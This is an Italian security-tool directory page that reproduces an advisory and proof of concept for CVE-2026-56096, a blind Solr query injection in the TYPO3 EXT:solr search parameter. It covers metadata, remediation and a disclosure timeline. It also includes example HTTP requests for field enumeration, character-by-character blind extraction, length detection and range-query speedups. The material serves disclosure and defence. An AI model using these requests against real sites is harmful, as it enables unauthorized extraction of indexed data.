Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-56096 — Proof of concept e analisi tecnica per CVE-2026-56096, un'iniezione di query Solr cieca in TYPO3 EXT:solr che consente l'enumerazione dei campi e l'estrazione dei dati senza autenticazione. | Kitploit
Strumenti/GitHubGitHub/yairhinkis/cve-2026-56096
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPaper e Ricerca
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

Proof of concept e analisi tecnica per CVE-2026-56096, un'iniezione di query Solr cieca in TYPO3 EXT:solr che consente l'enumerazione dei campi e l'estrazione dei dati senza autenticazione.

Vedi Repository
9h 41m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-56096: Solr Query Injection & Blind Data Extraction in TYPO3 EXT:solr

È stata scoperta una vulnerabilità di sicurezza architetturale nell'estensione ufficiale TYPO3 Apache Solr (EXT:solr / apache-solr-for-typo3/solr). Il problema consente ad attaccanti remoti non autenticati di iniettare sintassi di query Solr/Lucene arbitraria tramite il parametro di ricerca tx_solr[q], abilitando l'enumerazione cieca non autorizzata dei campi e l'estrazione completa dei metadati dall'indice di ricerca.


Metadati

  • CVE ID: CVE-2026-56096
  • Tipo di vulnerabilità: CWE-943: Neutralizzazione impropria di elementi speciali nella logica di query sui dati
  • Componente interessato: EXT:solr (Parametro di ricerca: tx_solr[q])
  • Punteggio CVSS v4.0: 6.3 (Medio) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • Ricercatore: Yair Hinkis

  • Panoramica della vulnerabilità

    L'estensione EXT:solr accetta termini di ricerca forniti dall'utente tramite il parametro tx_solr[q] e li inoltra al motore Apache Solr. Per progettazione, l'estensione consente operatori di query specifici—come wildcard (*), wildcard per singolo carattere (?), selettori di campo (:) e query di intervallo ([a TO z])—per supportare funzionalità legittime come il filtraggio a faccette.

    Poiché questi caratteri venivano passati direttamente alla costruzione della query backend senza una whitelist vincolante o un livello di astrazione delle query, un attaccante può fornire sintassi specifica per campo per eludere i confini di ricerca previsti. Ciò consente a utenti non autenticati di interrogare direttamente i campi interni di Solr ed estrarre dati dall'indice utilizzando tecniche cieche basate su booleani.


    Tecniche di attacco

    1. Enumerazione dei campi tramite field:*

    Aggiungendo una wildcard a un nome di campo arbitrario o ipotizzato, un attaccante può verificare se il campo esiste all'interno dello schema:

    root@kitploit:~
    GET /search?tx_solr[q]=siteHash:* HTTP/1.1
    Host: target.example.com
    
    

    Se il campo esiste, Solr elabora la query su tutti i record corrispondenti (spesso attivando codici di risposta distinti o comportamenti legati al volume), consentendo l'enumerazione automatizzata dei campi basata su wordlist.


    2. Estrazione cieca dei valori tramite wildcard di prefisso

    Gli attaccanti possono estrarre valori sensibili dei campi carattere per carattere utilizzando l'inferenza booleana:

    root@kitploit:~
    GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Restituisce risultati di ricerca (Il valore inizia con 'a')
    GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nessun risultato trovato" (Il valore non inizia con 'b')
    
    

    3. Rilevamento della lunghezza tramite l'operatore ?

    L'operatore wildcard per singolo carattere (?) può determinare la lunghezza esatta di una stringa memorizzata prima di iniziare l'iterazione dei caratteri:

    root@kitploit:~
    GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Verifica la presenza di 12+ caratteri)
    GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Verifica la presenza di 13+ caratteri)
    
    

    4. Query di intervallo accelerate ([a TO z])

    Le query di intervallo consentono l'estrazione tramite ricerca binaria sul carattere iniziale, riducendo le richieste necessarie da 26 a ~5 per posizione del carattere:

    root@kitploit:~
    GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determina se il carattere rientra nell'intervallo 'a'-'m'
    GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determina se il carattere rientra nell'intervallo 'n'-'z'
    
    

    Combinando il rilevamento della lunghezza, le query di intervallo e le wildcard di prefisso è possibile ottenere l'estrazione completa dei campi con un numero minimo di richieste.


    Impatto

    • Violazione della riservatezza: Estrazione completa di tutti i campi indicizzati in Apache Solr (ad es., hash di sistema interni, contenuti di pagine nascoste, metadati relativi agli utenti e identificatori di sistema).
    • Bypass del controllo di accesso: Aggira i filtri di ricerca frontend e le restrizioni di visualizzazione TypoScript.
    • Ambito: Ha interessato tutte le installazioni predefinite che utilizzano l'endpoint di ricerca EXT:solr.

    Remediation

    L'escaping globale dei caratteri è insufficiente perché operatori come * e : svolgono funzionalità di ricerca previste. La remediation richiede una whitelist a livello di applicazione e un modello di parsing:

    1. Analizzare le stringhe di query fornite dall'utente in un Abstract Syntax Tree (AST) prima di inviarle al motore Solr.
    2. Applicare allowlist rigorose sui campi di destinazione consentiti, impedendo query dirette degli utenti verso campi interni o limitati.
    3. Neutralizzare l'abuso di operatori non presenti nella whitelist proveniente da contesti di input non attendibili.

    Cronologia della divulgazione coordinata

    • 6 marzo 2026: Vulnerabilità identificata durante una valutazione autorizzata; notifica iniziale al fornitore.
    • 17 aprile 2026: Il fornitore ha implementato mitigazioni locali perimetrali; confermata la natura del bug upstream.
    • 8 maggio 2026: Rapporto formale sulla vulnerabilità inviato al TYPO3 Security Team ([email protected]).
    • 15 giugno 2026: Il TYPO3 Security Team ha confermato la riproduzione e avviato lo sviluppo della patch con i manutentori dell'estensione.
    • 25 agosto 2026: Bollettino di sicurezza ufficiale emesso, patch pubblicata e CVE-2026-56096 assegnato.

    Riferimenti

    • TYPO3 Security Advisory: TYPO3-EXT-SA-2026-025
    • Definizione CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
    Scarica lo strumento